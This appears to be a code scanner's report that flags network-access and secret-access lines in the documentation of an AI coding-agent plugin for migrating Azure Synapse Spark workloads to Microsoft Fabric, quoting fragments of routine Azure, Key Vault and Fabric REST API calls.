tenant_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "tenant-id") - Network accessline 190
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Network accessline 192
f"https://login.microsoftonline.com/{tenant_id}/oauth2/token") - Network accessline 209
// ✅ AFTER — Fabric (Scala): standard OAuth val storageAccount = "mystorageaccount" val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") - Network accessline 210
val storageAccount = "mystorageaccount" val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") val clientSecret = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", - Network accessline 211
val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") - Network accessline 212
val clientSecret = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-secret") - Network accessline 213
val tenantId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "tenant-id") - Network accessline 219
spark.conf.set(s"fs.azure.account.oauth2.client.secret.${storageAccount}.dfs.core.windows.net", clientSecret) spark.conf.set(s"fs.azure.account.oauth2.client.endpoint.${storageAccount}.dfs.core.windows.net", s"https://login.microsoftonlin - Network accessline 221
s"https://login.microsoftonline.com/${tenantId}/oauth2/token") - Network accessline 244
[Credential-related source omitted] - Network accessline 245
[Credential-related source omitted] - Network accessline 247
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 260
val accountName = "mystorageaccount" // or read from notebook parameters // If dynamic, store in Key Vault: // val accountName = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "storage-account-name") - Network accessline 262
// val accountName = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "storage-account-name") - Network accessline 273
[Credential-related source omitted] - Network accessline 274
[Credential-related source omitted] - Network accessline 275
"https://mykeyvault.vault.azure.net/", - Network accessline 297
[Credential-related source omitted] - Network accessline 298
[Credential-related source omitted]
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/external-hms-migration.md
- Network accessline 8
> > **Auth tokens needed** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` (for detection) - Network accessline 9
> **Auth tokens needed** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` (for detection) > - HMS database: JDBC cred - Network accessline 10
> - Synapse ARM audience: `https://management.azure.com` (for detection) - Network accessline 12
> - Fabric audience: `https://api.fabric.microsoft.com` - Network accessline 39
GET https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}/bigDataPools/{poolName}?api-version=2021-06-01 - Network accessline 283
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items` - Network accessline 340
- `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 349
- `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 354
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{lakehouseId}/shortcuts` - Network accessline 363
"type": "AdlsGen2", "adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", - Network accessline 364
"adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", "subpath": "/{container}/{path/to/table}", - Network accessline 365
"location": "https://{storageAccount}.dfs.core.windows.net",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/lake-database-migration.md
- Network accessline 9
> **Prerequisite**: Authenticate to both Synapse and Fabric APIs before starting (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes)). > - Synapse data-plane audience: `https://dev.azuresynaps - Network accessline 10
> - Synapse data-plane audience: `https://dev.azuresynapse.net` - Network accessline 11
> - Fabric audience: `https://api.fabric.microsoft.com` - Network accessline 41
GET https://{workspaceName}.dev.azuresynapse.net/databases?api-version=2021-04-01 - Network accessline 235
resp = requests.post(f"{FABRIC_BASE}/workspaces/{ws_id}/items", headers=fab_headers, json=payload) - Network accessline 236
if resp.status_code == 409: # Lakehouse already exists — look it up by name and reuse items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json() - Network accessline 237
# Lakehouse already exists — look it up by name and reuse items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json() existing = next((i for i in items.get("value", []) if i["displayNam - Network accessline 238
items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json() - Network accessline 325
# Step 1: Get storage account key via ARM arm_url = ( f"https://management.azure.com/subscriptions/{subscription_id}" - Network accessline 326
arm_url = ( f"https://management.azure.com/subscriptions/{subscription_id}" f"/resourceGroups/{resource_group}" - Network accessline 327
f"https://management.azure.com/subscriptions/{subscription_id}" - Network accessline 330
f"/listKeys?api-version=2023-05-01" ) key_resp = requests.post(arm_url, headers=arm_headers) - Network accessline 332
key_resp = requests.post(arm_url, headers=arm_headers) - Network accessline 343
"creationMethod": "AzureDataLakeStorage", "parameters": [ {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, - Network accessline 344
"parameters": [ {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, {"dataType": "Text", "name": "path", "value": f"/{container}"} - Network accessline 345
{"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, - Network accessline 358
} } conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections", - Network accessline 359
} conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections", headers=fab_headers, json=create_conn) - Network accessline 360
conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections", - Network accessline 378
"creationMethod": "AzureDataLakeStorage", "parameters": [ {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, - Network accessline 379
"parameters": [ {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, {"dataType": "Text", "name": "path", "value": f"/{container}"} - Network accessline 380
{"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, - Network accessline 408
1. Open Fabric Portal → Settings → Manage connections and gateways https://app.fabric.microsoft.com/connections - Network accessline 409
https://app.fabric.microsoft.com/connections - Network accessline 410
(MSIT: https://msit.powerbi.com/connections) - Network accessline 411
2. Click '+ New' → Cloud → Azure Data Lake Storage Gen2 3. Server: https://{storageAccount}.dfs.core.windows.net Path: /{container} - Network accessline 412
3. Server: https://{storageAccount}.dfs.core.windows.net - Network accessline 417
Documentation: https://learn.microsoft.com/fabric/data-engineering/lakehouse-shortcuts#create-a-shortcut - Network accessline 458
"type": "AdlsGen2", "adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", - Network accessline 459
"adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", "subpath": "/{container}/{path/to/table}", - Network accessline 460
"location": "https://{storageAccount}.dfs.core.windows.net", - Network accessline 476
Split this into: - `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 477
- `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 484
Split into: - `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 485
- `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 514
"type": "AdlsGen2", "adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", - Network accessline 515
"adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", "subpath": "/{container}/synapse/workspaces/{workspace}/warehouse/{database}", - Network accessline 516
"location": "https://{storageAccount}.dfs.core.windows.net",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/library-compatibility.md
- Network accessline 21
> **Reference manifests**: For a full line-by-line comparison of every built-in library, see the [microsoft/synapse-spark-runtime](https://github.com/microsoft/synapse-spark-runtime) GitHub repo. Compare `Fabric/Runtime 1.3` vs `Synapse/spa
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-gotchas.md
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-orchestrator.md
- Network accessline 24
> **URL parsing**: If the user provides a Synapse Studio URL, extract all three values from the embedded ARM path: > `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft. - Network accessline 25
> `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}` - Network accessline 30
| Value | Derived From | |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | - Network accessline 31
|---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | | Fabric workspace ID | `GET /v1/workspaces` → filter by `displayName` | - Network accessline 32
| Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | - Network accessline 145
> **Token audiences** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for base `az login` flows): > - ARM: `https://management.azure.com` - Network accessline 146
> - ARM: `https://management.azure.com` - Network accessline 147
> - Synapse data-plane: `https://dev.azuresynapse.net` - Network accessline 148
> - Fabric: `https://api.fabric.microsoft.com` - Network accessline 176
def refresh_all(self): self.arm = get_token("https://management.azure.com") - Network accessline 177
self.arm = get_token("https://management.azure.com") - Network accessline 178
self.synapse = get_token("https://dev.azuresynapse.net") - Network accessline 179
self.fabric = get_token("https://api.fabric.microsoft.com") - Network accessline 202
> **Usage pattern**: After every Fabric/Synapse API call, check for 401 and retry once: > ```python > resp = requests.post(url, headers=tokens.fab_headers, json=payload) - Network accessline 203
> ```python > resp = requests.post(url, headers=tokens.fab_headers, json=payload) > if tokens.refresh_if_needed(resp): - Network accessline 204
> resp = requests.post(url, headers=tokens.fab_headers, json=payload) - Network accessline 205
> if tokens.refresh_if_needed(resp): > resp = requests.post(url, headers=tokens.fab_headers, json=payload) > ``` - Network accessline 206
> resp = requests.post(url, headers=tokens.fab_headers, json=payload) - Network accessline 212
# Verify Synapse ARM access resp = requests.get( - Network accessline 213
resp = requests.get( - Network accessline 214
f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" - Network accessline 220
# Verify Synapse data-plane access resp = requests.get( - Network accessline 221
resp = requests.get( - Network accessline 222
f"https://{ws_name}.dev.azuresynapse.net/notebooks?api-version=2020-12-01", - Network accessline 227
# Resolve Fabric workspace ID resp = requests.get( - Network accessline 228
resp = requests.get( - Network accessline 229
"https://api.fabric.microsoft.com/v1/workspaces", - Network accessline 245
def existing_items_map(item_type): """Get map of displayName → id for existing items. Used to skip duplicates on resume.""" resp = requests.get( - Network accessline 246
"""Get map of displayName → id for existing items. Used to skip duplicates on resume.""" resp = requests.get( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}", - Network accessline 247
resp = requests.get( - Network accessline 248
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}", - Network accessline 250
) if tokens.refresh_if_needed(resp): resp = requests.get( - Network accessline 251
if tokens.refresh_if_needed(resp): resp = requests.get( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}", - Network accessline 252
resp = requests.get( - Network accessline 253
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}", - Network accessline 287
pools_resp = requests.get( - Network accessline 288
f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" - Network accessline 311
dbs_resp = requests.get( - Network accessline 312
f"https://{ws_name}.dev.azuresynapse.net/databases?api-version=2021-04-01", - Network accessline 323
for db in databases: db_name = db["name"] tables_resp = requests.get( - Network accessline 324
db_name = db["name"] tables_resp = requests.get( f"https://{ws_name}.dev.azuresynapse.net/databases/{db_name}/TABLEs?api-version=2021-04-01", - Network accessline 325
tables_resp = requests.get( - Network accessline 326
f"https://{ws_name}.dev.azuresynapse.net/databases/{db_name}/TABLEs?api-version=2021-04-01", - Network accessline 335
notebooks_resp = requests.get( - Network accessline 336
f"https://{ws_name}.dev.azuresynapse.net/notebooks?api-version=2020-12-01", - Network accessline 340
# Handle pagination while "nextLink" in notebooks_resp.json(): notebooks_resp = requests.get(notebooks_resp.json()["nextLink"], - Network accessline 341
while "nextLink" in notebooks_resp.json(): notebooks_resp = requests.get(notebooks_resp.json()["nextLink"], headers=tokens.syn_headers) - Network accessline 342
notebooks_resp = requests.get(notebooks_resp.json()["nextLink"], - Network accessline 350
sjds_resp = requests.get( - Network accessline 351
f"https://{ws_name}.dev.azuresynapse.net/sparkJobDefinitions?api-version=2020-12-01", - Network accessline 426
After POST /environments → 201, the updateDefinition endpoint may return 404 for a few seconds while the Environment is provisioned.""" url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}" - Network accessline 427
for a few seconds while the Environment is provisioned.""" url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}" f"/environments/{env_id}/updateDefinition") - Network accessline 428
url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}" - Network accessline 429
f"/environments/{env_id}/updateDefinition") for attempt in range(1, max_retries + 1): resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) - Network accessline 430
for attempt in range(1, max_retries + 1): resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) if resp.status_code == 401: - Network accessline 431
resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) - Network accessline 432
if resp.status_code == 401: tokens.refresh_if_needed(resp) resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) - Network accessline 433
tokens.refresh_if_needed(resp) resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) return resp - Network accessline 434
resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) - Network accessline 454
continue env_id = mapping["fabricEnvironmentId"] resp = requests.get( - Network accessline 455
env_id = mapping["fabricEnvironmentId"] resp = requests.get( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/environments/{env_id}", - Network accessline 456
resp = requests.get( - Network accessline 457
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/environments/{env_id}", - Network accessline 630
"type": "AdlsGen2", "adlsGen2": { "location": f"https://{account}.dfs.core.windows.net", - Network accessline 631
"adlsGen2": { "location": f"https://{account}.dfs.core.windows.net", "subpath": f"/{container}", - Network accessline 632
"location": f"https://{account}.dfs.core.windows.net", - Network accessline 636
} } resp = requests.post( - Network accessline 637
} resp = requests.post( f"{BASE_URL}/workspaces/{fabric_ws_id}/items/{lakehouse_id}/shortcuts", - Network accessline 638
resp = requests.post( - Network accessline 834
for nb_name, mapping in notebook_mappings.items(): nb_id = mapping["fabricNotebookId"] resp = requests.post( - Network accessline 835
nb_id = mapping["fabricNotebookId"] resp = requests.post( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 836
resp = requests.post( - Network accessline 837
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 892
for sjd_name, mapping in sjd_mappings.items(): sjd_id = mapping["fabricSjdId"] resp = requests.post( - Network accessline 893
sjd_id = mapping["fabricSjdId"] resp = requests.post( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 894
resp = requests.post( - Network accessline 895
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 992
PORTAL_URL = "https://app.fabric.microsoft.com" - Network accessline 993
FAB_BASE = "https://api.fabric.microsoft.com/v1" - Network accessline 1001
items = [] while url: resp = requests.get(url, headers=headers) - Network accessline 1002
while url: resp = requests.get(url, headers=headers) resp.raise_for_status() - Network accessline 1003
resp = requests.get(url, headers=headers) - Network accessline 1379
[Credential-related source omitted] - Network accessline 1455
for item in deletion_plan: resp = requests.delete( - Network accessline 1456
resp = requests.delete( - Network accessline 1457
f"https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/items/{item['itemId']}",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-report.md
- Network accessline 9
All Fabric portal links use base URL `https://app.fabric.microsoft.com`. - Network accessline 14
https://app.fabric.microsoft.com/groups/{workspaceId} - Network accessline 19
| Item Type | Portal URL | |---|---| | **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` | - Network accessline 20
|---|---| | **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` | | **Notebook** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/notebooks/{itemId}` | - Network accessline 21
| **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` | - Network accessline 22
| **Notebook** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/notebooks/{itemId}` | - Network accessline 23
| **Spark Job Definition** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/sparkjobdefinitions/{itemId}` | - Network accessline 24
| **Environment** | `https://app.fabric.microsoft.com/groups/{workspaceId}/environments/{itemId}` | - Network accessline 49
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items?type={itemType} - Network accessline 64
[Credential-related source omitted] - Network accessline 65
[Credential-related source omitted] - Network accessline 69
BASE_URL = "https://api.fabric.microsoft.com/v1" - Network accessline 70
PORTAL_URL = "https://app.fabric.microsoft.com" - Network accessline 78
items = [] while url: resp = requests.get(url, headers=headers) - Network accessline 79
while url: resp = requests.get(url, headers=headers) resp.raise_for_status() - Network accessline 80
resp = requests.get(url, headers=headers) - Network accessline 291
**Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/a1b2c3d4-e5f6-7890-abcd-ef1234567890) - Network accessline 296
| # | Environment Name | Fabric Link | Description | |---|---|---|---| | 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool | - Network accessline 297
|---|---|---|---| | 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool | | 2 | `MLPool_env` | [Open in Fabric](https://app.fabric. - Network accessline 298
| 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool | - Network accessline 299
| 2 | `MLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/c3d4e5f6-...) | Migrated from Synapse Spark pool: MLPool | - Network accessline 306
| # | Lakehouse Name | Fabric Link | Description | |---|---|---|---| | 1 | `SilverLakehouse` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../lakehouses/7890abcd-...) | Migrated from Synapse lake database: silver_db | - Network accessline 308
| 1 | `SilverLakehouse` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../lakehouses/7890abcd-...) | Migrated from Synapse lake database: silver_db | - Network accessline 327
| # | Notebook Name | Fabric Link | Description | |---|---|---|---| | 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | | - Network accessline 328
|---|---|---|---| | 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | | | 2 | `silver_transform` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4 - Network accessline 329
| 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | | - Network accessline 330
| 2 | `silver_transform` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/5678efgh-...) | | - Network accessline 331
| 3 | `gold_aggregate` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/9012ijkl-...) | | - Network accessline 338
| # | SJD Name | Fabric Link | Description | |---|---|---|---| | 1 | `daily_etl_job` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/sparkjobdefinitions/mnop3456-...) | | - Network accessline 340
| 1 | `daily_etl_job` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/sparkjobdefinitions/mnop3456-...) | | - Network accessline 385
"fabric_id": fabric_item["id"], "fabric_type": fabric_item["type"], "fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}", - Network accessline 386
"fabric_type": fabric_item["type"], "fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}", "status": status, - Network accessline 387
"fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}", - Network accessline 426
| Item Type | Synapse Studio URL Pattern | |---|---| | **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{w - Network accessline 427
|---|---| | **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}` | | **SJD** | `https://web.azuresynapse - Network accessline 428
| **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}` | - Network accessline 429
| **SJD** | `https://web.azuresynapse.net/en/authoring/analyze/sparkJobDefinitions/{sjdName}?workspace=...` | - Network accessline 430
| **Spark Pool** | `https://web.azuresynapse.net/en/management/sparkPools/{poolName}?workspace=...` | - Network accessline 431
| **Lake Database** | `https://web.azuresynapse.net/en/authoring/analyze/databases/{dbName}?workspace=...` | - Network accessline 434
def synapse_item_url(item_type, item_name, sub_id, rg, ws_name): """Build a Synapse Studio URL for the source item.""" base = "https://web.azuresynapse.net/en" - Network accessline 435
"""Build a Synapse Studio URL for the source item.""" base = "https://web.azuresynapse.net/en" ws_path = f"/subscriptions/{sub_id}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws_name}" - Network accessline 436
base = "https://web.azuresynapse.net/en" - Network accessline 450
| Synapse Item | Fabric Item | Status | |---|---|---| | [bronze_ingest (Synapse)](https://web.azuresynapse.net/en/authoring/...) | [bronze_ingest (Fabric)](https://app.fabric.microsoft.com/groups/.../synapse/notebooks/...) | ✅ Migrated | - Network accessline 452
| [bronze_ingest (Synapse)](https://web.azuresynapse.net/en/authoring/...) | [bronze_ingest (Fabric)](https://app.fabric.microsoft.com/groups/.../synapse/notebooks/...) | ✅ Migrated |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/security-governance.md
- Network accessline 54
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/assignWorkspaceIdentity - Network accessline 65
- [ ] Register all service principals used by notebooks/SJDs in the Fabric workspace - [ ] Verify no notebooks rely on SQL auth — convert to Entra if found - [ ] Test token acquisition: `notebookutils.credentials.getToken("https://managemen - Network accessline 67
- [ ] Test token acquisition: `notebookutils.credentials.getToken("https://management.azure.com")` - Network accessline 76
[Credential-related source omitted] - Network accessline 78
resp = requests.post( - Network accessline 79
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/assignWorkspaceIdentity", - Network accessline 96
[Credential-related source omitted] - Network accessline 98
# List Linked Services via Synapse data-plane API resp = requests.get( - Network accessline 99
resp = requests.get( - Network accessline 100
f"https://{ws_name}.dev.azuresynapse.net/linkedservices" - Network accessline 125
# List all Lakehouses in the target workspace resp = requests.get( - Network accessline 126
resp = requests.get( - Network accessline 127
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type=Lakehouse", - Network accessline 133
lh_id = lh["id"] # List shortcuts for this Lakehouse sc_resp = requests.get( - Network accessline 134
# List shortcuts for this Lakehouse sc_resp = requests.get( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 135
sc_resp = requests.get( - Network accessline 136
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 166
# Get the Fabric Workspace Identity's service principal ID ws_resp = requests.get( - Network accessline 167
ws_resp = requests.get( - Network accessline 168
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}", - Network accessline 185
resp = requests.put( - Network accessline 186
f"https://management.azure.com{storage_scope}" - Network accessline 248
[Credential-related source omitted] - Network accessline 249
[Credential-related source omitted] - Network accessline 250
[Credential-related source omitted] - Network accessline 289
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments - Network accessline 296
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments - Network accessline 315
PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments/{roleAssignmentId} - Network accessline 326
DELETE https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments/{roleAssignmentId} - Network accessline 338
[Credential-related source omitted] - Network accessline 344
# List all role assignments on the Synapse workspace resp = requests.get( - Network accessline 345
resp = requests.get( - Network accessline 346
f"https://management.azure.com{synapse_scope}" - Network accessline 365
# Note: Synapse Studio RBAC roles (Apache Spark Administrator, Synapse SQL Administrator, # Linked Data Manager, Credential User) are managed via the Synapse RBAC API at # https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT - Network accessline 366
# Linked Data Manager, Credential User) are managed via the Synapse RBAC API at # https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT appear in ARM # roleAssignments. The mapping below covers Azure RBAC roles only. - Network accessline 367
# https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT appear in ARM - Network accessline 394
# Note: Synapse Studio RBAC roles (Apache Spark Administrator, Linked Data Manager, # Credential User) are not exported via ARM. If needed, query the Synapse RBAC API # at https://{ws}.dev.azuresynapse.net/rbac/roleAssignments separately. - Network accessline 396
# at https://{ws}.dev.azuresynapse.net/rbac/roleAssignments separately. - Network accessline 443
[Credential-related source omitted] - Network accessline 458
for pid, entry in principal_roles.items(): resp = requests.post( - Network accessline 459
resp = requests.post( - Network accessline 460
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments", - Network accessline 477
# Assignment already exists — update instead # First, list existing to get the roleAssignmentId existing = requests.get( - Network accessline 478
# First, list existing to get the roleAssignmentId existing = requests.get( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments", - Network accessline 479
existing = requests.get( - Network accessline 480
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments", - Network accessline 483
match = next((a for a in existing if a["principal"]["id"] == pid), None) if match: requests.patch( - Network accessline 484
if match: requests.patch( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments/{match['id']}", - Network accessline 485
requests.patch( - Network accessline 486
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments/{match['id']}", - Network accessline 509
# List all Fabric role assignments and compare resp = requests.get( - Network accessline 510
resp = requests.get( - Network accessline 511
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments", - Network accessline 558
PUT https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.KeyVault/vaults/{vaultName}/providers/Microsoft.Authorization/roleAssignments/{assignmentId}?api-version=2022-04-01 - Network accessline 638
for vault_url in vault_secrets: # Extract vault name from URL: https://myvault.vault.azure.net → myvault - Network accessline 639
# Extract vault name from URL: https://myvault.vault.azure.net → myvault - Network accessline 642
# Resolve the vault's resource ID via ARM (try known resource group first, then search) resp = requests.get( - Network accessline 643
resp = requests.get( - Network accessline 644
f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" - Network accessline 651
else: # Search across all resource groups search_resp = requests.get( - Network accessline 652
# Search across all resource groups search_resp = requests.get( f"https://management.azure.com/subscriptions/{sub_id}" - Network accessline 653
search_resp = requests.get( - Network accessline 654
f"https://management.azure.com/subscriptions/{sub_id}" - Network accessline 675
# Get Workspace Identity service principal ID (from S1 Step 4) ws_resp = requests.get( - Network accessline 676
ws_resp = requests.get( - Network accessline 677
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}", - Network accessline 690
resp = requests.put( - Network accessline 691
f"https://management.azure.com{vault_resource_id}" - Network accessline 756
PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{itemId} - Network accessline 774
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{itemId}/endorse - Network accessline 793
> **Scope**: OneLake RBAC applies to the **Tables/** and **Files/** sections of a Lakehouse. By default, all workspace members can read all data. OneLake RBAC **restricts** access — it's a deny-by-default model once enabled. > > **Automatio - Network accessline 794
> > **Automation note**: OneLake RBAC now has a **public REST API** — [`OneLake Data Access Security`](https://learn.microsoft.com/en-us/rest/api/fabric/core/onelake-data-access-security) provides CRUD operations for data access roles: > - - Network accessline 795
